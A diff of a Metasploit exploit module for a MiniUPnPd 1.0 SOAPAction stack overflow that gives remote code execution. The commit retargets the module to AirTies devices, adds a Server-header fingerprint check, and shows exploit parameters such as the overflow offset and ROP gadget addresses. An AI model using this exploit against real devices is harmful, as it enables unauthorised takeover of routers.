@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution' ,
15
+ 'Name' => 'AirTies MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution' ,
16
16
'Description' => %q{
17
17
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability
18
18
present in the SOAPAction HTTP header handling.
@@ -41,8 +41,9 @@ def initialize(info = {})
41
41
{
42
42
'Offset' => 2048 ,
43
43
'LibcBase' => 0x2aabd000 ,
44
- 'System' => 0x00031AC0 ,
45
- 'CallSystem' => 0x0001CC94 # prepare $a0 and jump to $s0
44
+ 'System' => 0x00031AC0 ,
45
+ 'CallSystem' => 0x0001CC94 , # prepare $a0 and jump to $s0
46
+ 'ServerHeader' => "AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0" # Fingerprint
46
47
}
47
48
] ,
48
49
] ,
@@ -62,7 +63,7 @@ def check
62
63
'uri' => "/" ,
63
64
} )
64
65
65
- if res && res . headers [ 'Server' ] =~ /miniupnpd \/ 1.0/
66
+ if res && res . headers [ 'Server' ] == target [ 'ServerHeader' ]
66
67
return Exploit ::CheckCode ::Detected
67
68
end
68
69
rescue ::Rex ::ConnectionError
@@ -74,6 +75,7 @@ def check
74
75
75
76
def exploit
76
77
print_status ( "#{ peer } - Accessing the vulnerable URL..." )
78
+ print_status ( target [ 'ServerHeader' ] )
77
79
78
80
unless check == Exploit ::CheckCode ::Detected
79
81
fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the vulnerable URL" )
0 commit comments